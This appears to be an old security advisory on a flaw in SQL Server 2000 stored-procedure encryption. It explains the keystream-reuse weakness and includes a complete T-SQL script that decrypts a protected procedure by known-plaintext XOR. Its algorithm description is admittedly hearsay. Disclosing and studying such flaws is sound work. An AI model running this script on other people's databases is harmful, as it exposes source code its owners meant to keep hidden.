COMMAND

	SQL Server stored procedure encryption == NULL

SYSTEMS AFFECTED

	SQL Server 2000

PROBLEM

	shoeboy posted :
	

	It\'s well known that the stored  procedure  encryption  in  SQL  Server
	2000 has been cracked, but I\'ve been unable to  find  a  discussion  of
	the algorithm used and what its weaknesses are. I did some  digging  and
	found that not  only  can  the  key  be  retrieved  by  anyone  with  sa
	privileges (as dOMNAR  has  so  aptly  demonstrated  with  his  dSQLSRVD
	utility), but the algorithm is incorrectly implemented, making both  key
	retrieval and sa privileges unneccessary.
	

	So here\'s how stored procedure (and view and trigger) encryption  works
	on SQL Server 2000:
	

	

	1.  Take the the database\'s GUID (generated when the db is created), the

	object id (from sysobjects) and the colid (from syscomments) and

	concatenate them.

	

	2.  Hash the key using SHA.

	

	3.  Use the SHA hash as an RC4 key, generate a sequence of bytes equal in length to the stored procedure text.

	

	4.  XOR this stream of bytes against the stored procedure text.

	

	

	This is a bit short on  detail  and  is  based  on  a  dimly  remembered
	conversation with  an  MS  employee  I  bummed  a  cigarette  off  while
	visiting the campus, so it may not be 100 % accurate.
	

	Anyway, there are 2 ways to set about recovering the plaintext.  One  is
	to retrieve the components of the key (the guid is  retrievable  through
	dbcc dbinfo, but you have to be sa to run that command) and this is  the
	approach taken by dSQLSRVD.
	

	The second option is to find a way to encrypt your  own  plaintext  with
	the same key. If you can do this, the encryption  algorithm  degenerates
	to simple XOR encryption with a reusable pad.
	

	It turns out that it\'s  trivial  to  do  this  thanks  to  the  \"ALTER
	PROCEDURE\" statement. Kind of makes you wonder why Microsoft  chose  to
	waste cpu cycles with SHA and  RC4  since  it  doesn\'t  buy  any  extra
	security.
	

	Anyway, here\'s some sample code:
	

	[Note that at the end I replace the second version of the bob  procedure
	with the original. If you\'re using this approach on a production  code,
	don\'t leave that out.]
	

	

	SET NOCOUNT ON

	CREATE TABLE #tempcomments (

	   ID int PRIMARY KEY NOT NULL

	  ,ctext nvarchar(4000) NOT NULL

	)

	GO

	CREATE PROCEDURE bob

	   WITH ENCRYPTION

	AS

	PRINT \'I encrypted this procedure and forgot to check the source into cvs!\'

	PRINT \'Now I don\'\'t work here any more and you can\'\'t find me!\'

	GO

	

	INSERT INTO #tempcomments

	SELECT 1, ctext FROM syscomments WHERE id = object_id(\'bob\')

	GO

	ALTER PROCEDURE bob

	   WITH ENCRYPTION

	AS

	------------------------------------------------------------------------------

	------------------------------------------------------------------------------

	print \'I know a secret.\'

	GO

	

	INSERT INTO #tempcomments

	SELECT 2, ctext FROM syscomments WHERE id = object_id(\'bob\')

	GO

	

	DECLARE @origcryptstr nvarchar(4000)

	  ,@origplainstr nvarchar(4000)

	  ,@knownplainstr nvarchar(4000)

	  ,@knowncryptstr nvarchar(4000)

	

	DECLARE @length int

	  ,@counter int

	

	SELECT @origcryptstr = ctext FROM #tempcomments WHERE ID = 1

	SELECT @knowncryptstr = ctext FROM #tempcomments WHERE ID = 2

	SELECT @knownplainstr = N\'CREATE PROCEDURE bob

	   WITH ENCRYPTION

	AS

	--------------------------------------------------------------------------------

	--------------------------------------------------------------------------------

	print \'\'I know a secret.\'\'

	\'

	set @length = datalength(@origcryptstr)

	set @origplainstr = replicate(N\'A\', (@length / 2))

	set @counter = 1

	while (@counter <= (@length / 2))

	begin

	   SELECT @origplainstr = stuff(@origplainstr, @counter, 1,

	      NCHAR(UNICODE(substring(@origcryptstr, @counter, 1)) ^

	      (UNICODE(substring(@knowncryptstr, @counter, 1)) ^

	         UNICODE(substring(@knownplainstr, @counter, 1)))))

	   set @counter = @counter + 1

	end

	select @origplainstr

	exec(\'drop procedure bob\')

	exec(@origplainstr)

	GO

	drop table #tempcomments

	GO

	

SOLUTION

	Nothing.